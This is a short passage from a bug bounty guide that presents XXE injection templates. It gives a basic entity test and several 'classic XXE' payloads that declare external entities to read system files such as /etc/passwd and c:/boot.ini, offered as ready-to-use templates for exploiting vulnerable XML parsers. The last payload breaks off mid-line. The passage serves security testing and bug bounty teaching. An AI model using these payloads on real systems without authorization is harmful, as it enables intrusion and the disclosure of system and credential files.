Bug Bounty Hunting Essentials

Templates

The following are common templates that you can use to exploit XXE vulnerabilities and easily show the impact of the vulnerability:

• The following is a basic test:

<!--?xml version="1.0" ?--> 
<!DOCTYPE replace [<!ENTITY example "Doe"> ]> 
 <userInfo> 
  <firstName>Juan</firstName> 
  <lastName>&example;</lastName> 
 </userInfo> 

• The following is a classic XXE:

<?xml version="1.0"?> 
<!DOCTYPE data [ 
<!ELEMENT data (#ANY)> 
<!ENTITY file SYSTEM "file:///etc/passwd"> 
]> 
<data>&file;</data> <?xml version="1.0" encoding="ISO-8859-1"?> 
  <!DOCTYPE foo [   
  <!ELEMENT foo ANY > 
  <!ENTITY xxe SYSTEM "file:///etc/passwd" >]><foo>&xxe;</foo> <?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE foo [ <!ELEMENT foo ANY > <!ENTITY xxe SYSTEM "file:///c:/boot.ini" ...